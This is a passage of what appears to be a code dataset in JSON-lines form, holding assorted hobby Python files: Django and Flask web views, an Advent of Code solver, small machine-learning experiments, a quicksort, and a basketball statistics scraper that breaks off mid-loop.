redirect('home')\n else:\n if request.method == \"POST\":\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.info(request, 'Username or password is incorrect')\n context = {}\n return render(request, 'base_templates/login.html', context)\n\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n\n@login_required\n@group_required('Parent', 'Child', 'External', 'Basic user')\ndef accountSettings(request):\n get_user = request.user.myuser\n form = UserForm(instance = get_user)\n form.fields['user'].widget = forms.HiddenInput()\n if request.method == 'POST':\n form = UserForm(request.POST, request.FILES, instance = get_user)\n if form.is_valid():\n my_group = Group.objects.get(name = str(form['group'].value()))\n my_group.user_set.add(form['user'].value())\n form.save()\n context = {'form':form, 'user':get_user}\n return render(request, 'base_templates/user_page.html', context)\n\n\n@login_required\n@group_required('Parent', 'Child', 'External', 'Basic user')\ndef homePage(request):\n print (request.user.id)\n return render(request, 'base_templates/homepage.html')\n\n@login_required\n@group_required('Parent', 'Child')\ndef memoriesPage(request):\n images = Image.objects.all()\n return render(request, 'memories_templates/memories.html', {'images':images})\n\n@login_required\n@group_required('Parent', 'Child')\ndef travelPage(request):\n return render(request, 'travel.html')\n \n\n@login_required\n@group_required('Parent', 'Child', 'External')\ndef schedulePage(request):\n return render(request, 'calendar_templates/schedule.html')\n\n\n######## PAGINA AMINTIRI ##########\n\n\n@login_required\n@group_required('Parent', 'Child')\ndef uploadImage(request):\n if request.method == \"POST\":\n form = CreateImageForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n img_object = form.instance\n return render(request, \"memories_templates/upload_memory.html\", {'form':form, 'img_object':img_object})\n else:\n form = CreateImageForm()\n return render(request, 'memories_templates/upload_memory.html', {'form':form})\n\n@login_required\n@group_required('Parent', 'Child')\ndef removeImage(request, pk):\n image = Image.objects.get(id = pk)\n if request.method == 'POST':\n image.delete()\n return redirect('/')\n context = {'item':image}\n return render(request, 'memories_templates/delete_memory.html', context)\n\n@login_required\n@group_required('Parent', 'Child')\ndef updateMemory(request, pk):\n get_image = Image.objects.get(id = pk)\n form = CreateImageForm(instance = get_image)\n if request.method == 'POST':\n form = CreateImageForm(request.POST, request.FILES, instance = get_image)\n if form.is_valid():\n form.save()\n context = {'form':form}\n return render(request, 'memories_templates/modify_memory.html', context)\n\n@login_required\n@group_required('Parent', 'Child')\ndef addComment(request, pk):\n comments = ImageComment.objects.all()\n get_image = Image.objects.get(id = pk)\n get_user = request.user\n author = myUser.objects.get(user = get_user) \n form = AddCommentForm(request.POST)\n if request.method == 'POST':\n text = form['text'].value()\n new_comment = ImageComment.objects.create(author = author, image = get_image, text = text)\n form = AddCommentForm(request.POST, request.FILES, instance = new_comment)\n if form.is_valid():\n form.save() \n return redirect(request.path_info)\n image_comments = ImageComment.objects.all()\n context = {'form':form, 'image':get_image, 'comments':image_comments}\n return render(request, 'memories_templates/add_comment.html', context)\n\n\n####################\n\n@login_required\n@group_required('Parent', 'Child', 'External')\ndef addPersonalEvent(request, pk):\n user_to_get = request.user \n get_user = myUser.objects.get(user = user_to_get)\n personal_events = Personal_Event.objects.all()\n form = AddPersonalEventForm(request.POST)\n if request.method == 'POST':\n task = form['task'].value()\n description = form['description'].value()\n start_time = form['start_time'].value()\n end_time = form['end_time'].value()\n new_event = personal_events.create(person = get_user, task = task, description = description, start_time = start_time, end_time = end_time)\n form = AddPersonalEventForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('/')\n personal_events = Personal_Event.objects.all()\n context = {'form':form, 'personal_events':personal_events}\n return render(request, 'lists_templates/add_personal_event.html', context)\n\n@login_required\n@group_required('Parent', 'Child', 'External')\ndef viewPersonalEvents(request, pk):\n user_to_get = request.user\n get_user = myUser.objects.get(user = user_to_get)\n items = Personal_Event.objects.all()\n return render(request, 'lists_templates/render_events.html', {'user':get_user, 'personal_events':items})\n\n@login_required\n@group_required('Parent', 'Child', 'External')\ndef removePersonalEvent(request, pk):\n item = Personal_Event.objects.get(id = pk)\n if request.method == 'POST':\n item.delete()\n return redirect('/')\n context = {'personal_event':item}\n return render(request, 'lists_templates/delete_personal_event.html', context)\n \n@login_required \n@group_required('Parent', 'Child', 'External')\ndef checkPersonalEvent(request, pk):\n post = get_object_or_404(Personal_Event, id=request.POST.get('tick_task'))\n if request.method == 'POST':\n if post.status != 'Task done':\n post.status = 'Task done'\n post.save()\n else:\n post.status = 'Task not done yet'\n post.save()\n return HttpResponseRedirect(reverse('viewPersonalEvents', args=[str(pk)])) \n\n\n\n####### PERSONAL LISTS #########\n\n@login_required\n@group_required('Parent', 'Child')\ndef addItem(request, pk):\n user_to_get = request.user\n get_user = myUser.objects.get(user = user_to_get)\n child_objects = Child_Item.objects.all()\n form = AddChildItemForm(request.POST)\n if request.method == 'POST':\n name = form['name'].value()\n description = form['description'].value()\n category = form['category'].value()\n new_object = child_objects.create(owner = get_user, name = name, description = description, category = category)\n form = AddChildItemForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('/')\n child_objects = Child_Item.objects.all()\n context = {'form':form, 'child_objects':child_objects}\n return render(request, 'lists_templates/add_child_item.html', context)\n\n@login_required\n@group_required('Parent', 'Child')\ndef viewItems(request, pk):\n user_to_get = request.user\n get_user = myUser.objects.get(user = user_to_get)\n items = Child_Item.objects.all()\n return render(request, 'lists_templates/render_items.html', {'user':get_user, 'items':items})\n\n@login_required\n@group_required('Parent', 'Child')\ndef removeItem(request, pk):\n item = Child_Item.objects.get(id = pk)\n if request.method == 'POST':\n item.delete()\n return redirect('/')\n context = {'item':item}\n return render(request, 'lists_templates/delete_item.html', context)\n\n@login_required \n@group_required('Parent', 'Child')\ndef checkItem(request, pk):\n post = get_object_or_404(Child_Item, id=request.POST.get('tick_button'))\n if request.method == 'POST':\n if post.status != 'Task done':\n post.status = 'Task done'\n post.save()\n else:\n post.status = 'Task not done yet'\n post.save()\n return HttpResponseRedirect(reverse('viewLists', args=[str(pk)])) \n\n####################\n\n######### TRAVEL PAGE ###########\n\n@login_required\n@group_required('Parent', 'Child')\ndef calculate_distance_view(request):\n\n # initial values\n distance = None\n destination = None\n \n obj = get_object_or_404(Measurement, id=1)\n form = MeasurementModelForm(request.POST or None)\n geolocator = Nominatim(user_agent='family_assistant')\n\n # initial folium map\n m = folium.Map(width=800, height=500, zoom_start=1)\n\n if form.is_valid():\n instance = form.save(commit=False)\n\n location_ = form.cleaned_data.get('location')\n location = geolocator.geocode(location_)\n l_lat = location.latitude \n l_lon = location.longitude\n pointA = (l_lat, l_lon)\n\n destination_ = form.cleaned_data.get('destination')\n destination = geolocator.geocode(destination_)\n\n # destination coordinates\n d_lat = destination.latitude\n d_lon = destination.longitude\n pointB = (d_lat, d_lon)\n # distance calculation\n distance = round(geodesic(pointA, pointB).km, 2)\n\n # folium map modification\n m = folium.Map(width=800, height=500, location=get_center_coordinates(l_lat, l_lon, d_lat, d_lon), zoom_start=get_zoom(distance))\n # location marker\n folium.Marker([l_lat, l_lon], tooltip='click here for more', popup=location,\n icon=folium.Icon(color='purple')).add_to(m)\n # destination marker\n folium.Marker([d_lat, d_lon], tooltip='click here for more', popup=destination,\n icon=folium.Icon(color='red', icon='cloud')).add_to(m)\n\n\n # draw the line between location and destination\n line = folium.PolyLine(locations=[pointA, pointB], weight=5, color='blue')\n m.add_child(line)\n\n instance.location = location\n instance.distance = distance\n instance.save()\n\n #m.save(str(instance.id) + \".html\")\n \n \n m = m._repr_html_()\n\n travels = Measurement.objects.all()\n\n context = {\n 'distance' : distance,\n 'destination': destination,\n 'form': form,\n 'map': m,\n 'travels':travels,\n }\n\n return render(request, 'travel_templates/travel_add.html', context)\n\n@login_required\n@group_required('Parent')\ndef removeTravel(request, pk):\n travel = Measurement.objects.get(id = pk)\n if request.method == 'POST':\n travel.delete()\n return redirect('/')\n context = {'travel':travel}\n return render(request, 'travel_templates/travel_delete.html', context)\n\n@login_required\n@group_required('Parent', 'Child')\ndef VoteView(request, pk):\n post = get_object_or_404(Measurement, id=request.POST.get('vote_button'))\n post.votes.add(request.user)\n return HttpResponseRedirect(reverse('travel'))\n\n@login_required\n@group_required('Parent', 'Child')\ndef UnVoteView(request, pk):\n post = get_object_or_404(Measurement, id=request.POST.get('unvote_button'))\n post.votes.remove(request.user)\n return HttpResponseRedirect(reverse('travel'))\n\n@login_required\n@group_required('Parent')\ndef approveTravel(request, pk):\n post = get_object_or_404(Measurement, id=request.POST.get('approve_button'))\n if request.method == 'POST':\n if post.status != 'Approved':\n post.status = 'Approved'\n post.save()\n else:\n post.status = 'Awaiting approval'\n post.save()\n return HttpResponseRedirect(reverse('travel')) \n\n\n####################\n\n##### calendar #####\n\nclass CalendarView(generic.ListView):\n model = Event\n template_name = 'calendar_templates/schedule.html'\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n # use today's date for the calendar\n d = get_date(self.request.GET.get('month', None))\n\n # Instantiate our calendar class with today's year and date\n cal = Calendar(d.year, d.month)\n\n # Call the formatmonth method, which returns our calendar as a table\n html_cal = cal.formatmonth(withyear=True)\n context['calendar'] = mark_safe(html_cal)\n context['prev_month'] = prev_month(d)\n context['next_month'] = next_month(d)\n return context\n\n\ndef prev_month(d):\n first = d.replace(day=1)\n prev_month = first - timedelta(days=1)\n month = 'month=' + str(prev_month.year) + '-' + str(prev_month.month)\n return month\n\n\ndef next_month(d):\n days_in_month = calendar.monthrange(d.year, d.month)[1]\n last = d.replace(day=days_in_month)\n next_month = last + timedelta(days=1)\n month = 'month=' + str(next_month.year) + '-' + str(next_month.month)\n return month\n\n\ndef get_date(req_day):\n if req_day:\n year, month = (int(x) for x in req_day.split('-'))\n return date(year, month, day=1)\n return datetime.today()\n\n@login_required\n@group_required('Parent', 'Child', 'External')\ndef event(request, event_id=None):\n instance = Event()\n if event_id:\n instance = get_object_or_404(Event, pk=event_id)\n else:\n instance = Event()\n \n form = EventForm(request.POST or None, instance=instance)\n if request.POST and form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('schedule'))\n return render(request, 'calendar_templates/events.html', {'form': form})\n\n####################\n\n \n\n\n","sub_path":"sources/mysite/family_assistant/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"440735138","text":"# Solver for Advent Of Code 2018 Day 07\n\n# ugly\n\nimport itertools\nimport re\n\n\ndef read_input_from_file(filename: str) -> [str]:\n with open(filename, 'r') as input_file:\n lines = input_file.readlines()\n return parse_instructions(lines)\n\n\ndef parse_instructions(lines: [str]) -> {str: [str]}:\n pattern = \"Step (.) must be finished before step (.) can begin.\"\n instructions = {}\n for line in lines:\n matches = re.match(pattern, line)\n pre_step = matches.group(1)\n step = matches.group(2)\n if step in instructions:\n instructions[step].append(pre_step)\n else:\n instructions[step] = [pre_step]\n return instructions\n\n\ndef get_all_steps(instructions: {str: [str]}):\n return set(instructions.keys()).union(set(itertools.chain(*instructions.values())))\n\n\ndef get_free_steps(all_steps: [str], instructions: {str: [str]}, ordered_instructions: [str]) -> [str]:\n return sorted(list(set([s for s in all_steps if s not in instructions and s not in ordered_instructions])))\n\n\ndef get_ordered_instructions(instructions: {str: [str]}) -> [str]:\n ordered_instructions = []\n all_steps = get_all_steps(instructions)\n free_steps = get_free_steps(all_steps, instructions, ordered_instructions)\n while instructions or free_steps:\n if free_steps:\n ordered_instructions += free_steps.pop(0)\n for main_step in instructions:\n instructions[main_step] = [p for p in instructions[main_step] if p not in ordered_instructions]\n instructions = {i: instructions[i] for i in instructions if instructions[i]}\n free_steps = get_free_steps(all_steps, instructions, ordered_instructions)\n return ordered_instructions\n\n\ntest_instructions = read_input_from_file('test_input.txt')\ninput_instructions = read_input_from_file('input.txt')\n\nassert ''.join(get_ordered_instructions(test_instructions)) == 'CABDFE'\n\nprint(\"Solution Day 07 Part 1: {}\".format(''.join(get_ordered_instructions(input_instructions))))\n\n\ndef duration(step: str, base: int) -> int:\n return ord(step) - 64 + base\n\n\ndef solve_part_2(instructions: {str: [str]}, number_of_workers: int, base_duration: int) -> (str, int):\n todo = get_all_steps(instructions)\n done = []\n t = 0\n workers = {i: [] for i in range(number_of_workers)}\n while todo or [worker for worker, job in workers.items() if job]:\n for worker, job in workers.items():\n if job:\n job[1] -= 1\n if job[1] == 0:\n done.append(job[0])\n workers[worker] = []\n free_workers = [worker for worker, job in workers.items() if not job]\n for free_worker in free_workers:\n next_steps = []\n for step in todo:\n if step not in instructions:\n next_steps.append(step)\n else:\n if set(instructions[step]).issubset(set(done)):\n next_steps.append(step)\n if next_steps:\n next_step = sorted(next_steps)[0]\n workers[free_worker] = [next_step, duration(next_step, base_duration)]\n todo.remove(next_step)\n t += 1\n return ''.join(done), t-1\n\n\ntest_instructions = read_input_from_file('test_input.txt')\ninput_instructions = read_input_from_file('input.txt')\n\norder, t = solve_part_2(test_instructions, number_of_workers=2, base_duration=0)\nassert (order, t) == ('CABFDE', 15)\n\n_, t_complete = solve_part_2(input_instructions, number_of_workers=5, base_duration=60)\nprint(\"Solution Day 07 Part 2: %d\" % t_complete)\n","sub_path":"2018/07/solver07.py","file_name":"solver07.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"516079826","text":"from flask_restful import Resource, request\n\nfrom controllers.parsers import parse_args\nfrom services.roll_service import RollService\n\n\nclass RollController(Resource):\n @parse_args\n def post(self):\n roll_service = RollService()\n result, repeats = roll_service.roll(request.json)\n return {'roll': {'result': result, 'repeats': repeats}}, 200\n\n def delete(self):\n roll_service = RollService()\n roll_service.reset_table()\n return {'borrado': 'Concluido'}\n","sub_path":"controllers/roll_controller.py","file_name":"roll_controller.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"109242754","text":"from sklearn.neighbors import KNeighborsClassifier\nfrom random import random\nfrom ImportCsv import importcsv\nimport numpy as np\nfrom analyse_stats.draw_similarities_middle import drawSimilarities\nimport matplotlib.pyplot as plt\n\n\npathFile = \"../spambase.data\"\nbetter = 0\nworst = 0\nnbTurns = 10\nnbNeighbors=2\n\n\nresult = {}\n\n\n\n\n\nfor tour in range(nbTurns):\n\n best = 0\n nbBest = 0\n\n print(\"Tour No : \")\n print(tour)\n\n # Load data\n rowData = importcsv(pathFile)\n data = []\n for line in rowData:\n listLine = []\n for value in line:\n listLine.append(float(value))\n data.append(listLine)\n\n usedData = []\n usedValue = []\n for line in data:\n listLine = []\n for k in range(len(line)):\n #if k in [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14, 15, 16, 17, 19, 20, 21, 22, 23, 37, 46, 48, 50, 51, 52, 53] and k not in [27, 28, 31, 57]:\n\n #if k not in [27, 28, 31, 57, 3, 19, 21, 22 ,26, 29, 30, 31, 32, 33, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 49]:\n if k in [56, 55, 54]:\n listLine.append(line[k])\n usedValue.append(line[-1])\n usedData.append(listLine)\n '''data = np.array(data)\n print(data)\n '''\n\n\n testSetX = []\n testSetY = []\n for k in range (24):\n placeToTakeForTest = int(random() * len(usedData))\n x = usedData.pop(placeToTakeForTest)\n y = usedValue.pop(placeToTakeForTest)\n testSetX.append(x)\n testSetY.append(y)\n\n\n for nbNeighbors in range(1,50, 2):\n\n\n usedData = np.array(usedData)\n usedValue = np.array(usedValue)\n testSetX = np.array(testSetX)\n testSetY = np.array(testSetY)\n\n clf = KNeighborsClassifier(n_neighbors=nbNeighbors, weights=\"distance\")\n clf = clf.fit(usedData, usedValue)\n value1 = clf.score(testSetX, testSetY)\n\n if value1 > best:\n best = value1\n nbBest = nbNeighbors\n #print(\"nb neighbors\")\n #print(nbNeighbors)\n print(clf.predict(testSetX))\n\n\n\n print(\"Resultats : \")\n print(testSetY)\n print(\"best nb : \")\n print(nbBest)\n print(best)\n if nbBest in result:\n result[nbBest] += 1\n else:\n result[nbBest] = 1\n\n\n\nprint(\"\\n\")\nprint(\"Results : \")\nprint(result)\n\n\n","sub_path":"knn/knn_analysis_by_neighbours.py","file_name":"knn_analysis_by_neighbours.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"327764048","text":"import matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.linear_model import HuberRegressor, LinearRegression\nfrom sklearn.metrics import pairwise_distances\nimport numpy as np\nfrom tqdm import tqdm\nimport pandas as pd\nimport uuid\nfrom datetime import datetime\n\nclass RiskManager:\n def __init__(self, nPoints, nLevels, stopPos, takePos, spreadCoef):\n\n self.nPoints = nPoints\n self.nLevels = nLevels\n self.stopPos = stopPos\n self.takePos = takePos\n self.spreadCoef = spreadCoef\n\n pass\n\n def getAdaptiveLimits(self, datetimeStr, historyData, dealOpenPrice):\n\n obsList = historyData.loc[:str(datetimeStr)].tail(self.nPoints).copy()\n avgVals, levelLabels = self.findLevels(obsList, self.nPoints, self.nLevels)\n uniqLevels = np.sort(np.unique(levelLabels))\n avgLevels = np.zeros((uniqLevels.shape[0],))\n for i in range(uniqLevels.shape[0]):\n avgLevels[i] = np.average( avgVals[ levelLabels == uniqLevels[i] ] )\n dists = pairwise_distances(np.array(dealOpenPrice).reshape((-1, 1)), avgLevels.reshape((-1, 1)), metric=\"euclidean\", n_jobs=1)\n dists = dists[0]\n\n sortedDists = np.sort(dists)\n limitsDict = {}\n limitsDict[\"stop\"] = int(sortedDists[self.stopPos] / self.spreadCoef)\n limitsDict[\"take\"] = int(sortedDists[self.takePos] / self.spreadCoef)\n\n return limitsDict\n\n def findLevels(self, df, nPoints = 110, nLevels=4):\n avgVals = df.tail(nPoints)\n avgVals = avgVals[[\"open\", \"close\"]]\n avgVals = (avgVals[\"open\"].values + avgVals[\"close\"].values) / 2.0\n\n avgVals = avgVals.reshape((-1, 1))\n pointDists = pairwise_distances(avgVals, avgVals, metric=\"euclidean\", n_jobs=1)\n avgVals = avgVals.reshape((-1,))\n\n pointDists = MinMaxScaler().fit_transform(pointDists)\n\n #startTime = datetime.now()\n clusterizer = KMeans(n_clusters=nLevels,\n random_state=45,\n init=\"random\",\n algorithm=\"elkan\",\n n_init=1).fit(pointDists)\n levels = clusterizer.labels_\n #endTime = datetime.now()\n #print(\"clust: \" + str(endTime - startTime))\n\n \"\"\"stubX = np.linspace(0, 1, avgVals.shape[0])\n plt.scatter(stubX, avgVals, c=levels, s=5)\n uniqLevels = np.sort(np.unique(levels))\n for unLev in uniqLevels:\n plotLevelVals = avgVals[levels == unLev]\n levelVal = np.average(plotLevelVals)\n # print(levelVals.shape)\n plt.axhline(y=levelVal, c=\"black\", linestyle=\"-\")\n plt.show()\n #plt.savefig(\"./images/{}.png\".format(str(uuid.uuid4())), dpi=300)\n #plt.clf()\"\"\"\n\n return avgVals, levels\n\n\n","sub_path":"monlan/agents/RiskManager.py","file_name":"RiskManager.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"24102564","text":"#*************************************************************************\n# Copyright © 2015 JiangLin. All rights reserved.\n# File Name: blog.py\n# Author:JiangLin\n# Mail:xiyang0807@gmail.com\n# Created Time: 2015-11-18 08:11:38\n#*************************************************************************\n#!/usr/bin/env python\n# -*- coding=UTF-8 -*-\nfrom flask import render_template, Blueprint\nfrom ..models import Books\n\n\nsite = Blueprint('book',__name__,url_prefix='/book')\n\n\n@site.route('/latest',defaults={'num':1})\n@site.route('/latest/view?=')\ndef index_num(num):\n book_all_type = Books.query.distinct(Books.tag)\n books = Books.query.distinct(Books.name).all()\n total = int(len(books)/18) + 1\n number = num\n add = number - 1\n if num == add + 6:\n add += 5\n return render_template('book/book.html',\n books = books,\n book_all_type = book_all_type,\n add = add,\n number = number,\n total = total)\n\n@site.route('/type?=')\ndef type(type):\n book_all_type = Books.query.distinct(Books.tag)\n books = Books.query.distinct(Books.name).filter_by(tag=type)\n return render_template('book/book_type.html',\n books = books,\n book_all_type = book_all_type)\n\n@site.route('/name=')\ndef book_intro(name):\n books = Books.query.filter_by(name=name).first()\n return render_template('book/book_intro.html',\n books = books)\n\n\n\n","sub_path":"app/views/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"349234148","text":"import sys\nimport demo\nfrom PyQt5.QtWidgets import QApplication,QMainWindow,QWidget\n\nif __name__ == '__main__':\n #创建QApplication类的实例\n app = QApplication(sys.argv)\n #创建一个窗口\n mainwindow = QMainWindow()\n ui = demo.Ui_MainWindow()\n ui.setupUi(mainwindow)\n #w = QWidget()\n #设置窗口尺寸\n # w.resize(400,300)\n # #移动窗口\n # w.move(300,300)\n #\n # #设置窗口的标题\n mainwindow.setWindowTitle('窗口一')\n #显示窗口\n mainwindow.show()\n #进入主循环,并通过exit函数确保主循环安全结束\n sys.exit(app.exec_())\n","sub_path":"pro/testone.py","file_name":"testone.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"613429897","text":"from Utility import Utility\n\nclass Rx(Utility):\n def __init__(self,x,y,z):\n self.x=x\n self.y=y\n self.z=z\n\n def write_textfile(self, source_x_list):\n rx_list=[]\n for i in range(len(source_x_list)):\n text = f\"#rx: {source_x_list[i]} {self.y} {self.z}\\n\"\n rx_list.append(text)\n \n return rx_list\n","sub_path":"Auto_Generation_Files/Auto_Generation_Modules/InputFile_Auto_Generation_Modules/Rx.py","file_name":"Rx.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"293821907","text":"import numpy\n\na = numpy.random.randint(0,100,100)\n\ndef quickSort(nums, l, r):\n if l < r:\n mid = partition(nums, l, r)\n quickSort(nums, l, mid-1)\n quickSort(nums, mid+1, r)\n return nums\n\ndef partition(nums, l, r):\n pivot = nums[r]\n while l != r:\n while l < r and nums[l] <= pivot:\n l += 1\n nums[r] = nums[l]\n while l < r and nums[r] >= pivot:\n r -= 1\n nums[l] = nums[r]\n nums[l] = pivot\n return l\n\n \nif __name__ == \"__main__\":\n quickSort(a, 0, len(a)-1)\n print(a)","sub_path":"Week_04/排序-快速 2020.09.04 - 2.py","file_name":"排序-快速 2020.09.04 - 2.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"582551611","text":"def run(app, db, c, json):\n @app.route(\"/group/create\", methods=[\"POST\"])\n async def create(request):\n c.group.create(db, request)\n return json({\"message\": \"success\"})\n\n @app.route(\"/group\", methods=[\"GET\"])\n async def read(request):\n return json({\"response\": c.group.read(db, request)})\n\n @app.route(\"/group\", methods=[\"POST\"])\n async def update(request):\n c.group.update(db, request)\n return json({\"message\": \"success\"})\n\n @app.route(\"/group\", methods=[\"DELETE\"])\n async def delete(request):\n c.group.delete(db, request)\n return json({\"message\": \"success\"})\n","sub_path":"routes/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"384880079","text":"import torch\nimport csv\nimport numpy as np\nfrom torch.autograd import Variable\nimport matplotlib.pyplot as plt\nimport torch.nn.functional as F\n\nfile1 = open(\"./pre_processing_after_normalization_final.csv\",\"r\")\nreader1 = csv.reader(file1)\nfile2 = open(\"./tags_result_with_class.csv\",\"r\")\nreader2 = csv.reader(file2)\n\n# def list_trans(index):\n# ll=[0,0,0,0,0,0]\n# ll[index] = 1\n# return ll\n\n\n\ninput_data = np.array([i[1:] for i in reader1]).astype('double')\n#tag_data = np.array([list_trans(int(j[3])) for j in reader2]).astype('int64')\ntag_data = np.array([j[3] for j in reader2]).astype('int64')\n#print(tag_data)\ninput_tensor = torch.from_numpy(input_data)\ntag_tensor = torch.from_numpy(tag_data)\n\ninput_tensor,tag_tensor = Variable(input_tensor).type(torch.FloatTensor) ,Variable(tag_tensor).type(torch.LongTensor)\n\n\n#print(input_tensor,tag_tensor)\n\nclass Net(torch.nn.Module): # 继承 torch 的 Module\n def __init__(self, n_feature, n_hidden, n_output):\n super(Net, self).__init__() # 继承 __init__ 功能\n self.hidden = torch.nn.Linear(n_feature, n_hidden) # 隐藏层线性输出\n self.out = torch.nn.Linear(n_hidden, n_output) # 输出层线性输出\n\n def forward(self, x):\n # 正向传播输入值, 神经网络分析出输出值\n x = F.relu(self.hidden(x)) # 激励函数(隐藏层的线性值)\n x = self.out(x) # 输出值, 但是这个不是预测值, 预测值还需要再另外计算\n return x\n\nnet = Net(n_feature=20, n_hidden=80, n_output=6) # 几个类别就几个 output\n\n#print(net) # net 的结构\n\n# optimizer 是训练的工具\noptimizer = torch.optim.Adagrad(net.parameters(), lr=0.01) # 传入 net 的所有参数, 学习率\n# 算误差的时候, 注意真实值!不是! one-hot 形式的, 而是1D Tensor, (batch,)\n# 但是预测值是2D tensor (batch, n_classes)\nloss_func = torch.nn.CrossEntropyLoss()\n#out = net(input_tensor) # 喂给 net 训练数据 x, 输出分析值\n#print(out)\nfor t in range(100000):\n out = net(input_tensor) # 喂给 net 训练数据 x, 输出分析值\n #print(out.shape,out)\n loss = loss_func(out, tag_tensor) # 计算两者的误差\n #print(out[:20])\n optimizer.zero_grad() # 清空上一步的残余更新参数值\n loss.backward() # 误差反向传播, 计算参数更新值\n optimizer.step() # 将参数更新值施加到 net 的 parameters 上\n prediction = torch.max(F.softmax(out), 1)[1] #torch.max函数用法如下:\n#\n# >> a = torch.randn(4, 4)\n# >> a\n#\n# 0.0692\n# 0.3142\n# 1.2513 - 0.5428\n# 0.9288\n# 0.8552 - 0.2073\n# 0.6409\n# 1.0695 - 0.0101 - 2.4507 - 1.2230\n# 0.7426 - 0.7666\n# 0.4862 - 0.6628\n# torch.FloatTensor\n# of\n# size\n# 4\n# x4]\n#\n# >> > torch.max(a, 1)\n# (\n# 1.2513\n# 0.9288\n# 1.0695\n# 0.7426\n# [torch.FloatTensor of size 4]\n# ,\n# 2\n# 0\n# 0\n# 0\n# [torch.LongTensor of size 4]\n# )\n#\n\n #plt.scatter(input_tensor.data.numpy()[:, 0], input_tensor.data.numpy()[:, 1], c=pred_y, s=100, lw=0, cmap='RdYlGn')\n\n #accuracy = sum(pred_y == target_y) / 200 # 预测中有多少和真实值一样\n #print(accuracy)\n\npred_y = prediction.data.numpy().squeeze()\ntarget_y =tag_tensor.data.numpy()\nprint(pred_y[:20],target_y[:20])","sub_path":"Net/basic_net_pytorch.py","file_name":"basic_net_pytorch.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"374642201","text":"from urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\nimport time\nmy_url=\"https://www.basketball-reference.com/players/w/westbru01.html\"\n#opening up connection\nread_url=uReq(my_url)\nuClient=read_url.read()\nread_url.close()\n#parsing html\npage_soup=soup(uClient, \"html.parser\")\nnames=page_soup.find_all(\"tr\",{\"class\":\"full_table\"})\nname=names[0]\nheaders=name.find_all(\"td\")\n\nf=open(\"players.csv\",\"w\")\nplayer_name=\"Russell Wesbrook\"\nf.write(player_name + \"\\n\")\nheader=\"Year, Age, Team, Lg, Pos, G, GS, MP, FGM, FGA, FG%, 3P, 3PA, 3P%, 2P, 2PA, 2P%, EFG%, FTM, FTA, FT%, OReb, DReb, TReb, Assist, Steal, Blk, TOV, PF, Points\\n\"\nf.write(header)\nprint(player_name)\nfor name in names:\n headers=name.find_all(\"td\")\n years=name.find_all(\"a\")\n year=years[0].text\n age=headers[0].text\n team=headers[1].text\n league=headers[2].text\n position=headers[3].text\n games=headers[4].text\n games_started=headers[5].text\n mp=headers[6].text\n fgm=headers[7].text\n fga=headers[8].text\n fg_percent=headers[9].text\n three_point_made=headers[10].text\n three_point_attempts=headers[11].text\n three_point_percentage=headers[12].text\n two_point_made=headers[13].text\n two_point_attempts=headers[14].text\n two_point_percentage=headers[15].text\n efg=headers[16].text\n ft_made=headers[17].text\n ft_attempted=headers[18].text\n ft_percentage=headers[19].text\n o_reb=headers[20].text\n d_reb=headers[21].text\n t_reb=headers[22].text\n assist=headers[23].text\n stl=headers[24].text\n blk=headers[25].text\n tov=headers[26].text\n pf=headers[27].text\n pts=headers[28].text\n print(\"year: \"+year)\n print(\"age: \"+age)\n print(\"team: \"+team)\n print(\"league: \"+league)\n print(\"position: \"+position)\n print(\"games: \"+games)\n print(\"games started: \"+games_started)\n print(\"minutes played: \"+mp)\n print(\"field goals: \"+fgm)\n print(\"field goals attempted: \"+fga)\n print(\"field goal percentage: \"+fg_percent)\n print(\"three pointers made: \"+three_point_made)\n print(\"three pointers attempted: \"+three_point_attempts)\n print(\"three point percentage: \"+three_point_percentage)\n print(\"two pointers made: \"+two_point_made)\n print(\"two pointers attempted: \"+two_point_attempts)\n print(\"two point percentage: \"+two_point_percentage)\n print(\"efg percentage: \"+efg)\n print(\"ft made: \"+ft_made)\n print(\"ft attempted: \"+ft_attempted)\n print(\"ft percentage: \"+ft_percentage)\n print(\"offensive rebound: \"+o_reb)\n print(\"defensive rebound: \"+d_reb)\n print(\"total rebounds: \"+t_reb)\n print(\"total assists: \"+assist)\n print(\"total steals: \"+stl)\n print(\"total blocks: \"+blk)\n 